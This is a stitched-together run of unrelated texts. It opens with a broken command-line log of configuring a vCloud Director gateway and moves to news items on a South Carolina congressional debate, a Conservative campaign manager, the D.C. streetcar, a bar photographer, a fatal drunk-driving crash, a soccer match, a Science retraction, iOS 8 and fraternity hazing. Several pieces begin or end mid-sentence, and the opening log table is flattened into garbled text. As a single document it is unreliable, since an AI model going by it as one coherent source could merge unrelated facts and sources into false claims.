| 0 mins 6 secs | success | disconnecting vApp from networks pre - defined in the template | Start Time | Duration | Status | | -- -- -- -- -- -- -- -- -- -- - + -- -- -- -- -- -- -- - + -- -- -- -- -- | | 2016 - 09 - 28 04 : 02 : 24 | 0 mins 0 secs | success | connecting vApp to network 'Net_External_ANTBLOG' with mode 'pool' | Start Time | Duration | Status | | -- -- -- -- -- -- -- -- -- -- - + -- -- -- -- -- -- -- - + -- -- -- -- -- | | 2016 - 09 - 28 04 : 02 : 26 | 0 mins 1 secs | success | connecting VM to network 'Net_External_ANTBLOG' with mode 'pool' | Start Time | Duration | Status | | -- -- -- -- -- -- -- -- -- -- - + -- -- -- -- -- -- -- - + -- -- -- -- -- | | 2016 - 09 - 28 04 : 02 : 28 | 0 mins 6 secs | success | $ vca vapp power - on -- vapp SexiLog | Start Time | Duration | Status | | -- -- -- -- -- -- -- -- -- -- - + -- -- -- -- -- -- -- -- + -- -- -- -- -- | | 2016 - 09 - 28 04 : 09 : 20 | 0 mins 33 secs | success | $ vca vm list | grep SexiLog | SexiLog | SexiLog | Powered on | 192.168.80.100 | Net_External_ANTBLOG | 1 | 4 | | Other Linux ( 64 - bit ) | anthony | $ vca gateway set - syslog -- gateway gateway -- ip 192.168.80.100 | Start Time | Duration | Status | | -- -- -- -- -- -- -- -- -- -- - + -- -- -- -- -- -- -- - + -- -- -- -- -- | | 2016 - 09 - 28 04 : 10 : 20 | 0 mins 8 secs | success | $ vca gateway | Name | External IPs | DHCP | Firewall | NAT | VPN | Routed Networks | Syslog | Uplinks | Selected | | -- -- -- -- -- -- -- -- -- -- + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- + -- -- -- -- + -- -- -- -- -- -- + -- -- -- - + -- -- -- - + -- -- -- -- -- -- -- -- -- -- -- + -- -- -- -- -- -- -- -- + -- -- -- -- -- -- -- -- -- -- -- -- + -- -- -- -- -- -- | | Net_External_11965 | vca gateway info - to list IPs ( 4 ) | On | On | On | Off | Net_External_ANTBLOG | 192.168.80.100 | mycloud.mel_ExtNet_001 | * | $ vca nat add -- type DNAT -- original - ip 119.252.73.173 -- original - port 8080 -- translated - ip 192.168.80.100 -- translated - port 80 -- protocol tcp add NAT rule | Start Time | Duration | Status | | -- -- -- -- -- -- -- -- -- -- - + -- -- -- -- -- -- -- -- + -- -- -- -- -- | | 2016 - 09 - 28 06 : 20 : 39 | 0 mins 24 secs | success | $ vca firewall add -- protocol tcp -- dest - port 8080 -- dest - ip 119.252.73.173 -- source - port Any -- source - ip any add firewall rule | Start Time | Duration | Status | | -- -- -- -- -- -- -- -- -- -- - + -- -- -- -- -- -- -- -- + -- -- -- -- -- | | 2016 - 09 - 28 06 : 24 : 10 | 0 mins 26 secs | success |
And the end result:
Again, this highlights the power of the vCloud Director API and what can be done with the pyvcloud Python SDK. Once perfected the set of commands above can be used to deploy vApps and configure networking in seconds instead of having to work through the vCloud Director UI…and that’s a win win!
References:
https://pypi.python.org/pypi/vca-cli
https://github.com/vmware/vca-cli
http://www.sexilog.fr/
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PinterestAfter making some radical changes to his lifestyle, focusing on fitness and diet, Nick was able to manage many of the symptoms of his illness. Determined to get back outside, exploring more of New Zealand and the world, he set up the Mastering Mountains Charitable Trust. The aim is to enrich the lives of people affected by MS by helping them get back into the outdoors.
Late last year, Nick headed off on the adventure of a lifetime – the first Mastering Mountains expedition in which he explored Northern India and Nepal, trekking through the Everest region, climbing Island Peak, and an attempt to climb Stok Kangri.
Having returned from his incredible trip, Nick is continuing on the Mastering Mountains journey, and has set some very exciting plans for 2016.
The Journey
I feel hugely privileged and blessed to have been able to achieve all I was able to in 2015. If you had come to me 18 months ago and told me that I was going to climb a 6,000m peak, I would not have believed you. Needless to say, I have been blown away by the end result.
I had to do a lot of training in preparation for the trip. Because fatigue management is a pretty crucial part of outdoor pursuits with MS, I did as much as |
congressman and two-term governor, was reminded by a questioner that when he was in Congress during the 1990s he voted to impeach President Bill Clinton because of his involvement with Monica Lewinsky and asked if he would vote that way again.
"I would reverse the question," Sanford responded. "Do you think President Clinton should be condemned for the rest of his life for a mistake he made in his life?"
In 2009, Sanford, after telling his staff he was out hiking the Appalachian Trail, returned to the state to reveal that he was in Argentina with a woman he later became engaged to after divorcing his wife, Jenny. Before leaving office, Sanford avoided impeachment but was censured by the Legislature over state travel expenses he used for the affair. He also paid the largest ethics fine ever in South Carolina, $70,000.
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Colbert Busch, who worked for years for a shipping company, criticized Sanford for voting in Congress against money for dredging the Charleston Harbor shipping channel and building a higher bridge so the Port of Charleston can handle a new generation of larger container ships.
Sanford shot back that if it bothered her so much before, she wouldn't have written him a "$500 check as I left the Congress to run for governor." He added "I was against earmarks before being against earmarks was cool."
Colbert Busch also said that, if elected, she would return 10 percent of her congressional salary to the government.
The candidates differed over issues such as immigration reform, the federal health care overhaul and abortion during the debate sponsored by the Patch news service, the South Carolina Radio Network and Charleston television station WCBD.
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Sanford repeatedly tried to tie Colbert Busch to House Democratic Leader Nancy Pelosi and labor unions but she said she would be an independent voice and responsible only to the residents of the district. They also had different takes on the state of affairs.
"We're at an incredible tipping point as a civilization and I think if we don't get spending right in Washington, D.C., there will be real consequences," Sanford warned.
"Here's the fundamental difference," Colbert Busch responded. "This is not the end of our time as we know it. The sky is not falling Henny Penny. In fact our best days are ahead of us."
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The debate was their first joint appearance in the campaign that began after then-U.S. Rep. Tim Scott was appointed to the U.S. Senate seat vacated by fellow Republican Jim DeMint.
Sanford and Colbert Busch are vying along with Green Party Candidate Eugene Platt in the May 7 special election in the district.Hamish Marshall is by all accounts bright and experienced. He has helped Andrew Scheer and the Conservative Party win before. But the man the federal Conservatives have hired to run their next election campaign comes with baggage that Scheer himself now wants to avoid — a connection to media outlet The Rebel.
If most Canadians know Marshall's name at all, it's probably because of that Rebel link. Like most campaign managers, the bespectacled and baby-faced Marshall stayed behind the scenes during Scheer's leadership race.
But in August, as growing controversy swirled around The Rebel's coverage of neo-Nazis and white nationalists in Charlottesville, Va., Scheer began to face questions about Marshall's role as a director of Rebel Media Ltd. and Scheer's own willingness to grant interviews to the outlet.
"So as long as the editorial direction of that particular institution remains as it is … I won't be granting those types of interviews," Scheer told reporters in mid-August, insisting that he wanted to focus on providing a positive vision that would bring Canadians together.
And it's precisely that tension that could prove a challenge for Scheer. Marshall helped him run a positivity-themed campaign during the leadership, focusing largely on party unity. Scheer's opponents, though, will undoubtedly point to Marshall's past in an attempt to link Scheer to the anger expressed by the so-called alt-right.
In an emailed statement, a spokesperson for the Conservative Party tried to emphasize that positivity, noting officials are "incredibly excited to have him in this role."
"We are fortunate to have someone with Mr. Marshall's skills and experience on-board to lead our next national campaign," said Cory Hann.
"His work with Mr. Scheer in the leadership race showed he understood one of the keys to winning a tough election was by presenting a positive Conservative vision for Canada, and clearly that is something Mr. Scheer embodies."
Reached Tuesday by CBC News, Marshall declined to comment.
Cutting Rebel ties
"He's not involved with The Rebel," said Hann.
Marshall's name has recently disappeared from the list of directors of Rebel News Media on the federal government's online registry of corporate information, though it was still there as recently as late September.
In an Aug. 17 article, Marshall told Maclean's that he was "in the process" of severing ties with The Rebel, though he didn't provide a precise date for his departure, citing "some business issues that need to be resolved."
Well before that, in 2015, he told the National Observer, "I am not involved at all in the content production and editorial side of things. My involvement is on the business side."
The issue re-emerged this week when a Globe and Mail reporter asked Scheer whether he was aware that Marshall had worked out of The Rebel offices during Scheer's leadership run.
"I didn't ask Hamish about every client he had," said Scheer, before ending the media availability session.
'Hamish helps clients win'
For Scheer, the appeal of reaching out to Marshall seems obvious. They've known each other for years, and started out as political keeners on Parliament Hill about the same time.
While Scheer ran for office and eventually became Speaker, Marshall worked as manager of strategic planning to Prime Minister Stephen Harper. During the 2008 election campaign, where the Conservatives increased their seat count but still fell shy of a majority government, Marshall was the campaign pollster.
During the leadership race, Scheer and Marshall teamed up to run a campaign based on keeping the party united and not straying too far from the Harper orthodoxy on policy.
The campaign made a series of targeted pitches, like tax relief for families who homeschool their children. In another pledge, he said he would "prioritize real refugees" by standing up for persecuted Christian minorities in a way the campaign said the Liberals had failed to do.
Scheer also pledged to pull federal grant funding from universities that didn't defend free speech, though he has since said that wouldn't apply to "extreme examples" like white nationalist rallies.
Oxford-educated Marshall describes himself online as "a strategist, pollster and demographic expert who tells stories with numbers." Another bio puts it more succinctly: "Hamish helps clients win."
After he helped Scheer win, Marshall didn't join him in the Opposition leader's office. Instead, Marshall has worked on Brian Jean's campaign to lead Alberta's new United Conservative Party.
Still, Marshall did attend the Conservative caucus retreat in Winnipeg last month, including a strategy session about winning the federal race in 2019. Now he will be the one tasked with making that aspiration a reality.
But in the party's statement, there is a nod to the scale of the challenge.
Hann notes that Marshall "has shown he thrives in underdog campaigns."
"In the Vancouver Translink referendum, he was able to win against an opposition that outspent him by millions, and had a sizable lead in the polls. He's had great success in campaigns both in Canada and abroad, such as Australia and the U.K., and we're incredibly excited to have him in this role."A D.C. streetcar is seen at the eastern end of the line near Oklahoma Avenue and Benning Road while doing a dry run on Dec. 22 in Washington. (Katherine Frey/The Washington Post)
The District has invested $200 million in what was projected to be a $3 billion streetcar project. Now, the city’s new transportation chief is asking an existential question about the beleaguered new transit system: Is it worth saving?
Appointed by Mayor Muriel E. Bowser (D) in January after the previous administration’s unsuccessful scramble to open the streetcar line by the end of last year, Leif A. Dormsjo, a former top transportation official in Maryland, has spent a couple of months probing the project with a notable lack of sentimentality or defensiveness.
“We’re not planning for failure. I’m trying to prudently and responsibly prepare the service to be started. But if I can’t get to that point, I’m not going to be enchanted by some philosophy of transit that leads me to do something that doesn’t make sense,” Dormsjo said. “There’s been a lot of investment in this thing. It’s not a good outcome for that to be squandered. But at the end of the day, it has to work, it has to be safe, it has to have utility.”
As of today, it’s not clear whether any of those things are true.
Dormsjo says streetcar backers have lacked “orderly thinking” about a program that was pieced together under three previous mayors without the needed discipline, data or strategy. Now, he says, he’s wrestling with basic questions so he can come up with his best advice for his boss and other city leaders. Among them: Can the city provide safe and reliable service on the 2.2-mile line that has been built on H Street and Benning Road NE? If yes, and the system opens, should it be expanded? If it is to grow, where should it go next?
With lives, vast sums and the government’s — and his — credibility at stake, it’s a fraught moment.
“I don’t want to get it wrong. I don’t want to be the guy who quit early and threw in the towel and couldn’t get the job done,” Dormsjo said. “Nor do I want to be the guy who got swept up in the emotional crusade to open something, and I opened it and it turned out to be a miserable failure.”
Given the “irrational” way the project has unfolded, putting everything on the table makes sense at this stage, said D.C. Council Chairman Phil Mendelson (D). “Leif Dormsjo’s approach is completely reasonable.”
After years of delays and blown self-imposed deadlines, the District’s Department of Transportation had developed a closely held plan to open the streetcar system by last November.
But local safety oversight officials protested, saying the streetcars lacked needed safety certifications and the system wasn’t ready. Distrust bubbled over, with the safety office accusing transportation officials of providing inaccurate and misleading information, and DDOT pushing back at what it viewed as meddling.
Top officials in former mayor Vincent C. Gray’s administration continued their push to open the line by year’s end, prompting a December warning from the Federal Transit Administration that the city needed to first tackle new safety recommendations. Hours before Gray (D) left office, his team relented, saying the system would not open under Gray’s watch, but it would be ready to launch by the week of Jan. 19.
But just days before that inherited deadline, Dormsjo, charged by Bowser to reexamine the project, said the city would not be governed by arbitrary deadlines and would bring in outside industry experts to scour the system.
As it turns out, the system was not ready to safely carry passengers.
That reality was underscored on an icy Saturday last month, when one of the District’s 35-ton streetcars had a particularly bad evening. With piles of snow obstructing easy access to curbside parking and obscuring white parking lines, drivers left their cars poking out near the path of a streetcar making practice runs.
So, amid the wintry mess, a red and gray District streetcar smacked into a car mirror. Then a few hours later, around 10 p.m., the streetcar slammed into a poorly parked Audi, damaging both vehicles. The black four-door Audi was three feet from the curb, according to a police report, and the streetcar operator “misjudged how much clearance there was.” The Audi driver ended up with dented doors, a fender-to-fender scrape and a citation for parking more than a foot from the curb.
Then, just before midnight, a section of the streetcar’s roof erupted in a small fireball. DDOT called the unexplained flames, which extinguished on their own, a “flash fire,” and is investigating along with Oregon-based manufacturer United Streetcar.
In a statement the morning after the Feb. 21 fire, DDOT said initial observations “suggest that this was an isolated incident.” On March 3, DDOT said it had taken the city’s other two United Streetcar vehicles off the streets during the investigation. Dormsjo said he has talked to officials in other cities with the same streetcars, and they have not had the flash fire problem.
“Why this vehicle? What happened, exactly? Did it have something to do with the weather? Did it have something to do with being idled for a while?” Dormsjo asked.
It’s not unheard of for the launch of a new streetcar or light-rail system in the United States to come with minor accidents, as motorists and operators get in sync. Houston had a slew of them, Dormsjo noted. In the District, DDOT says there have been “11 total incidents between streetcar vehicles and personal automobiles,” including “doors being opened into an oncoming streetcar vehicle.”
But concerns have been raised about the design of the District’s system, which runs streetcars particularly close to parked cars along busy H Street and near narrow pedestrian walkways in the medians along Benning Road. And the mysterious flash fire has heightened anxieties over the system’s fundamentals.
Whether the District’s experience is in line with that of other cities or a sign of deeper — even fatal — flaws is among the questions to be tackled by the group of outside experts Dormsjo has invited in. The team from the American Public Transportation Association is set to arrive Monday for a week of interviews and inspections, with a draft report expected within 45 days.
“They’re very rigorous. They give it to you hard,” Dormsjo said. He believes the team can give him a clear read on safety and reliability, even with just a week on the ground.
“I think they’ll be able to tell me whether there’s a pathway to passenger service. I hope and I believe they’re going to give us something that conclusive. Given how far along we are, it would be concerning if they said they didn’t know,” Dormsjo said. And if it’s a go, he has invited them back for a second visit to drill down on the system’s performance with passengers.
District officials have said they are operating “simulated service” as a kind of dry run to get ready for passengers. The city owns a fleet of six streetcars, three from Oregon and three from the Czech Republic. But by the afternoon of Feb. 17, after the season’s first major snowstorm, just three streetcars were on the street. On the day after the flash fire, one streetcar inched down H Street.
Transportation officials are “taking the opportunity” before the outside review to do maintenance on the full fleet, according to DDOT staff members, and officials are “periodically running a single vehicle for training and testing purposes.”
City transportation officials have made progress addressing questions raised by federal safety officials. The FTA says it remains concerned that all of its recommendations have not been addressed, but it also “recognizes the project team’s commitment” to do so.
Among the outstanding FTA recommendations: finding more ways to reduce the danger of cars and streetcars crashing into each other along the route, which was designed with ample opportunity for vehicles to make U-turns and other risky moves in front of streetcars.
Beyond safety, there are also questions of money and strategy.
A council move last May to slash planned future streetcar funding, pushed by Mendelson, had forced the Gray administration to dramatically scale back plans for building a 22-mile network by early next decade, with another 15 or more miles to follow.
Fundamentally, Dormsjo does not know whether the system, if it opens, should be expanded. That growth was assumed by his predecessors. But Bowser is pushing for prudence in spending and policy, he said.
“If there’s no utility in building off the foundation of the starter line, she wants to know that. If there is, she wants me to clearly describe that to her,” he said.
Answering that question means thinking not in terms of a wide network crisscrossing the city, he said, but trying to nail down a particular corridor that would get undeniable benefits. The strongest contender, although no shoo-in, would be the east-west corridor running from Georgetown, connecting to the current H Street-Benning Road line and then heading east over the Anacostia River, Dormsjo said. But a clear-eyed cost-benefit analysis needs to come first, something that’s been lacking in the past, he said.
“The project is kind of hostage to that lack of orderly thinking,” Dormsjo said.Paul, 1981. Sheldon Nadelman
Terminal Bar, located across the street from the Port Authority Bus Station, was once known as the roughest bar in New York City.
But Sheldon Nadelman—who, in the ’70s and ’80s, worked at the dive his father-in-law owned—doesn’t think that’s quite true. It was certainly rough—frequented by pimps, prostitutes, and drag queens—but it wasn’t the roughest.
Mostly, he said, his customers just needed a place to go in a world that wasn’t always hospitable. And Nadelman would know: He got to know his customers better than most barkeeps in the city. Besides pouring drinks for them, he also took their portraits.
Malo, 1973. Sheldon Nadelman
Duchess, drank rum and coke, 1973. Sheldon Nadelman
The bar shot from the Port Authority, 1981. Sheldon Nadelman
“After 10 years I had a couple thousand portraits. It was simple as that. I was on a mission—don’t ask me why,” he said.
And while Nadelman calls himself a “half-assed artist,” his photos are really quite beautiful, capturing in black and white a wide cast of characters and the occasional bar. They’re now collected in a book, Terminal Bar, out last month from Princeton Architectural Press.
“In the beginning it was just the regulars and they were willing and able to be photographed,” Nadelman said. “Then there were just faces that came in and I knew I wouldn’t see them again. But they looked interesting. I’d say 90 percent of the people were willing to be photographed.”
Nadleman worked at the bar until 1982, when it closed. Then he opened his own bar in New Jersey. After that closed, he got a job at a photo lab, where he worked for the next two decades.
After living in the city for 40 years, Shelly has stopped going there almost completely. (“We’re divorced,” he says of Manhattan). Meanwhile, the Times Square area changed drastically. The space where Terminal Bar once stood is now occupied by the headquarters of the New York Times.
1980. Sheldon Nadelman
Inside Terminal Bar. Sheldon Nadelman
1975. Sheldon Nadelman
After lying mostly dormant for years, Nadelman’s photos finally saw the light of day after his son, Stefan Nadelman, digitized his negatives, and then created a documentary about them, which won the 2003 Sundance Jury Prize, among other awards.
Nadelman remembers Terminal Bar with mixed emotions: His time there was pivotal in his development as a photographer, but he said it was often disturbing to look on as many of his customers (and subjects) “destroyed themselves” with alcohol. And while his photos have inspired much interest about a place that, in many ways, represents an era of New York long past, Nadelman claims not to completely understand the nostalgia.
“My father-in-law loved the place,” he said. “I can’t imagine anyone could love a stinky bar like that.”
Ruth Brown, 1977. Sheldon Nadelman
1977. Sheldon NadelmanBuy Photo A memorial for 7-year-old De’Asia Henderson appeared at the site of the Youree Drive and East Herndon Street accident that took her life. The man charged in her death, Randy Presentine, had a long history of serious traffic violations. (Photo: Henrietta Wildsmith/ The Times)Buy Photo
Reckless driving was a pattern for the man who appears to have drunkenly careened off Youree Drive Saturday afternoon, striking and killing a 7-year-old girl who died Monday.
But though he'd amassed some 40 traffic violations in 20 years in Shreveport — including driving while intoxicated and careless operation — neither the state nor a judge stopped 46-year-old Randy Presentine from having a license or operating a vehicle.
Randy Presentine (Photo: File)
That Presentine's driving history culminated in an innocent girl's death is the latest example of traffic court's revolving door, a dynamic local police officers say frustrates their efforts to keep dangerous drivers off the road.
"As far as I know you can get as many speeding tickets as you possibly can and still be able to keep your driver's license," said Lt. James Bellotte, executive officer of the Shreveport Police Department's traffic bureau.
Presentine is accused of being drunk during the afternoon accident that killed De'Asia Henderson.
On Tuesday, a carefully-constructed memorial stood at the site of the brutal event.
A red bike, surrounded by plush toys and balloons, marked the spot where De'Asia waited for traffic with her cousin, RaKendrick Baker, at the corner of Youree Drive and East Herndon Street. A set of tire tracks show a diversion from the southbound roadway onto the median and lead directly to a smashed but upright trash can, the base of a telephone pole destroyed in the collision and the girl's memorial.
In the days after her injury, De'Asia's family built a gofundme.com site to help pay for her medical expenses. It raised more than $1,300.
"She was sassy, loving and goofy. That's what we really gone miss about her. It's really hard on our family right now. We really appreciate it if you can help us out to[sic]. Anything will help. Thanks for all the prayers for our family," the family-managed site reads.
De’Asia Henderson was a student at Barret Paideia Academy. (Photo: Photo courtesy of Yolanda Henderson)
A suspended license — regardless of blood alcohol content — means Presentine shouldn't have been driving.
"It's sad. It's something I wish we had more control over," said Sgt. Mike Vaitkus, supervisor of traffic safety for the Caddo Sheriff's office. In his 18 years in that role, Vaitkus said he's only seen a driver's license being revoked for the elderly or those with medical conditions.
Unlike DWI charges, which can become more severe with each repeated offense, most traffic violations are treated as isolated events, he said. Louisiana is also in the minority nationwide for not having a point system whereby a certain number of traffic citations on a license results in penalties.
The state motor vehicle departments in Texas and Arkansas can suspend a driver's license and charge increasingly punishing fines per those states' point systems.
"Everybody is always worried about (repeat traffic offenses) and I have to say, 'You have nothing to worry about in Louisiana. We're not a points state,'" said Jason Waltman, a Shreveport lawyer whose focus is DWI and other traffic-related matters. There's no central state repository to track people's traffic violations, and judges generally don't forward an offender's history to the Office of Motor Vehicles for any type of review, he said.
Such a process might've flagged Presentine, who pleaded guilty to a June 21, 1996, DWI and paid most of his $765 fine. The case was closed even though Presentine still owed $150, according to the Shreveport City Court clerk's office. The 1996 DWI didn't affect Presentine's current DWI charge because it happened more than 10 years ago.
His rap sheet includes dozens of other charges, including driving 30 miles over the speed limit, careless operation, not having insurance and operating with a suspended license. The latter two charges came as recently as Oct. 3. Judge Wilbert Pryor accepted Presentine's guilty plea and ordered him to pay $349 on both counts.
Calls to Pryor and the prosecutor on the case, Terrell Myles, were not returned. Asked to shed light on Presentine's October court proceeding, Shreveport City Attorney Terri Scott sent an email stating information already available in the court record, which she said "speaks for itself."
Presentine now faces charges of negligent homicide, first-offense DWI and being an in-state fugitive. He's in custody in the Caddo Correctional Center.
"I think there should be more in place as far as a license being removed permanently from someone, and stricter penalties against someone if we pull them over and find out that they're suspended," said Vaitkus.
"People are very misled about drivers licenses," he said. "It's not a right, it's a privilege."
Read or Share this story: https://www.shreveporttimes.com/story/news/crime/2015/02/03/driver-killed-girl-reckless-history/22829415/Former Wisconsin soccer star Rose Lavelle continues to impress at the international level
As we’ve written before on Badger of Honor, ex-Wisconsin Badger soccer player Rose Lavelle is making quite an impression for club and country.
Today she scored the only goal of the match to secure a 1-0 win for the United States Women’s National Team (USWNT) in a friendly against host and rival Sweden.
In the 56th minute Lavelle bolted down the right flank opening space for Crystal Dunn to charge down the middle. She smartly angled her run and first touch towards the near post so as to preserve a shooting angle. Lavelle showed good awareness to stay tucked safely onside and essentially run herself open to make the feed from Dunn as simple as possible. A quick touch got her feet right for the shot and Lavelle buried a low drive to the far post.
For the game, the USWNT split possession evenly with Sweden and both sides had four shots on goal. But the hosts had 14 total shots to just seven for the USWNT and 10 corner kicks to only two for the USWNT. Also, the Americans only committed four fouls all match is pretty low suggesting (as do the other statistics) that home side Sweden was much the aggressor all match.
Lavelle got the start today and nearly went the distance only giving way in stoppage time for a cameo appearance from USWNT veteran Megan Rapinoe. While it’s only a friendly, USWNT-Sweden is never an insignificant affair. Just ask former USWNT goalie Hope Solo.
Sweden is coached by former USWNT manager Pia Sundhage who led the Americans to two Olympic golds and 2nd place in the 2011 World Cup. But the separation has not always been gracious.
The USWNT continue its brief international tour with a match against Norway on Sunday at 12 p.m. CST broadcast on FOX. We’ll see if Lavelle is again in the starting XI but she has certainly helped her cause in limited appearances for the USWNT thus far.Retractions of scientific papers are common. But the circumstances surrounding this week’s retraction of a 12-year-old Science paper, involving research funded by the National Science Foundation (NSF), appear to be highly unusual.
The case highlights the sometimes fraught relationship between journals, researchers, and funding agencies. And it has drawn attention to some apparently rare steps that NSF took against researchers who the agency says engaged in unacceptable research practices—but not misconduct.
The 2004 paper, reporting on a novel method of synthesizing new materials through the use of RNA catalysts, has been investigated by two universities and NSF. In 2013 the NSF Office of Inspector General (OIG), an independent watchdog, found that the three authors, then a graduate student and two biochemistry professors at North Carolina State University in Raleigh, had falsified their results and were guilty of scientific misconduct.
NSF officials overruled that finding in a move that agency observers say is rare. However, in a May 2015 letter to the researchers, NSF said that their actions were “certainly a departure from accepted practices.” And NSF agreed with OIG that the researchers—Lina Gugliotti, Daniel Feldheim, and Bruce Eaton—needed to “clarify the scientific publication record” (by submitting a correction to Science) before they could be eligible to apply for NSF grants. That ruling triggered a chain of events that led to today’s retraction notice in Science.
The case breaks new ground for NSF, say those who follow research misconduct. One novel twist is that the agency meted out a major punishment—ineligibility for NSF funding—despite finding that the researchers weren’t guilty of misconduct. The punishment is instead based on NSF’s conclusion that the numerous flaws in the paper meant the researchers had violated an agency rule requiring grantees to publish “all significant findings.”
Another new wrinkle was NSF’s decision to tell the researchers that submitting a correction to Science would be the essential step in restoring their eligibility. In most cases where NSF finds misconduct, the perpetrators face debarment from federal funding for a fixed amount of time as long as 5 years. (OIG had recommended that the researchers be banned for 3 years from serving as reviewers or consultants to the agency.)
Correction or retraction?
After receiving NSF’s letter, the researchers did submit a correction to Science, says Marcia McNutt, the journal’s editor-in-chief. But the journal decided not to publish it. Instead, McNutt says she opted for a retraction that is carefully worded to conform to the NSF ruling. “The retraction says that [the researchers] submitted a correction to the journal,” she explains. “So according to the retraction, the authors have satisfied exactly what NSF asked them to do.”
According to McNutt, the 2004 Science paper contained far too many flaws to be dealt with in a correction. “Corrections are for honest errors. We don’t want to do corrections for truly sloppy science,” she told ScienceInsider.
McNutt’s characterization of the paper is drawn from the NSF investigation, which concluded that the researchers were guilty of “an avoidance of protocols, a failure to meet expected scientific standards, a lack of expertise or training in the field of inquiry, poor oversight of less experienced team members, and the misrepresentation of data on which a conclusion was based. In short… an absence of care, if not sloppiness, and most certainly a departure from accepted practices.”
Based on that analysis, McNutt says she decided that a retraction was the only way to remove the stain on the scientific literature. “Now that [NSF’s] report is publicly available,” she explains, “I didn’t want the community to read it and think, ‘So this is the type of paper that Science publishes?’” The retraction, she says, still allows the scientists to use subsequent papers that they have published to illustrate that their results were sound. Those later papers, McNutt says, is “the basis on which the research should be judged.”
McNutt hopes the retraction will also help curb what she sees as a rush-to-publish mentality among scientists that puts staking a claim above scientific rigor. “I’m worried about what will happen if top journals continue to publish flashy results that don’t hold up and that are slapped together and are shaky,” McNutt says. “I would prefer to send the message, ‘Don’t send those papers to this journal.’”
Lack of clarity
Many details in the case remain murky, however, because of federal laws designed to protect the privacy of the researchers under scrutiny. NSF has not acknowledged that the trio is the subject of its investigation, and their names were redacted from NSF documents released to a North Carolina newspaper that has closely followed the case. But several media outlets have identified the researchers, and Feldheim, now a professor at the University of Colorado, Boulder, and Eaton, who recently retired from that university, have publicly blasted NSF over the years for what they feel has been an unwarranted attack on their research. In 2014 they created a short-lived website, StandUp2ScienceBullies.com, to rally community support for their position.
Feldheim and Eaton did not respond to repeated invitations by ScienceInsider to talk about their situation. NSF also declined to discuss the case, citing privacy concerns. But McNutt, who discussed the issue with NSF Director France Córdova before deciding to retract the paper, says that NSF knew its ruling was taking it into uncharted waters.
“It sounded to me, when talking to France, that this might be a change in NSF’s attitude,” McNutt says. “I think they want to work more closely with the community to find ways to raise standards.”
McNutt was quick to add that “NSF doesn’t set journal policy. But I think they are looking for greater involvement in the process of maintaining high standards for scientific integrity.”
The case also calls attention to the messy process by which journals try to address errors in the literature, and the difference between a correction and a retraction. Researchers at the University of Alabama, Birmingham, reported this week in Nature on their struggle to get journals to correct mistakes in papers they had published; the researchers had discovered many of mistakes simply by reading the articles. In many cases, they reported, it was difficult to get journals to even acknowledge the errors, much less take appropriate action.
“There’s a vacuum of clarity on when an error warrants an erratum versus a retraction, much less an investigation into possible wrongdoing,” says the lead author, biostatistician David Allison. “There are some broad guidelines, but they aren’t very helpful to an editor trying to decide on the proper response.”Apple’s Success & Failure: A Look at Where They’re Going Right and Wrong
Apple is sharing a peculiar relationship with the consumer at the moment.
While the iPhone 6 and iPhone 6 Plus launch was the most successful in the company’s history, a huge backlash surrounding the troubled iOS 8 launch and Microsoft’s impressive unveiling of Windows 10, which may well serve to undo the bad publicity generated by Windows 8, have served to put them on the back foot.
But that’s not to say the company is in a bad position – quite the opposite, in fact. However, there have been a number of missteps lately that have forced the company to perform some intense PR work. Let’s take a look at where the company is going right and wrong.
The promise of iOS 8, the terrible launch and iOS 8.1
Apple does a great job of making all of its hardware and software sound downright revolutionary, and the same could have been said for iOS 8.
With an overhauled Photos app, a new Health app that collated data from users’ existing fitness applications and a messaging system that closely followed in WhatsApp’s footsteps in terms of functionality and ease-of-use, it seemed likely that the iPhone 6 and iPhone 6 Plus would launch with one of the most feature-packed and proficient operating systems ever. But then came the launch…
The first problem was the size of the damn thing. While iOS 8 only packed 1GB of files, those who hadn’t purchased the iPhone 6/6 Plus that came with the operating system pre-installed were forced to free up between 3GB – 5GB of storage space, depending upon how up-to-date their devices were. This means that some iPhone owners are still not running iOS 8 – not out of choice, but because they simply cannot cannot find enough room on their device to do so.
After the fiasco surrounding the download size of the new operating system, Apple would swiftly follow up its launch with the iOS 8.0.1 update. This is when things started to really go downhill, as users found that it rendered their phone’s service and its Touch ID feature completely useless. Apple would pull the update within an hour, swiftly going back to the drawing board before returning with iOS 8.0.2. But now they’ve released a fully-fledged, large-scale update to the OS in the form of iOS 8.1, which features the following improvements:
The Photos app has been improved, with Apple restoring the Camera Roll album that was sorely missed by users
Apple Pay support has been introduced, though for now it’s only available to iOS 8 users in the US
You can send and receive SMS messages from a Mac or iPad
HealthKit apps can now access data in the background
A WiFi performance issue has been rectified
AirDrop support has been added for Passbook passes
Users can now choose from 2G, 3G and LTE networks when using cell data
A ton of accessibility improvements have been introduced
The iOS 8.1 update can be downloaded now by going to Settings, then General, then Software Update. It’s certainly a big step in the right direction, but the question remains: how on Earth did the huge issues plaguing the iOS 8 launch slip through the cracks in the first place?
Bowing down to the throne that Steve Jobs built
While I strongly oppose the whole ideology behind brand loyalty, Apple has built an entire business out of it. People bow down to the throne that Steve Jobs once sat atop, basking in the white glow of the Apple Store and breathlessly awaiting each new hardware and software release from the company. An ill-devised update such as iOS 8.0.1 is something that shakes the trust of consumers, something which Apple has always been keen to avoid.
There are also the people on the other side of the fence who are awaiting the fall of Apple. A company that was once seen as the plucky underdog when pitting the Macintosh against the indomitable PC, since the launch of the iPod the company has made large successive strides in improving its public image, becoming the go-to provider of sleek, impressive-looking tech. However, there are many PC and Android users who lament the popularity of Apple – the disproportionately expensive cost of Macs when you consider their specs, the “borrowing” of Android features for their own iPhones (though both parties are inarguably guilty of this) and the hyperbolic launch events.
Such fervent naysaying is only fueled by Apple making such a large blunder, and it is this naysaying that inevitably leads to the circulation of news pieces pointing out the company’s flaws. While no business is ever going to maintain a perfect record with its products, the issues plaguing iOS 8 have marred what should have been a thoroughly successful launch for the company. Now they’re almost in the same position as the one Windows found themselves in with the launch of Windows 8, |
participate in during “hell week” — the week before they would be officially initiated into the fraternity.
One bid acceptance hazing activity featured a bottle of vodka passed down the line of pledges. If the bottle wasn’t emptied by the time it reached the last pledge in line, the last pledge would be required to finish all the remaining vodka. On the night Piazza fell down the steps, the bottle still contained so much vodka when it reached the last pledge that the pledge master (Daniel Casey) told the pledges to continue passing it up and down the line until they finished it.
The main event for Beta Theta Pi’s bid acceptance was a ritual referred to as “running the gauntlet” between various “drinking stations” the pledges were required to drink at. Fraternity brothers told the pledges to start the first stations one at a time and follow through the line.
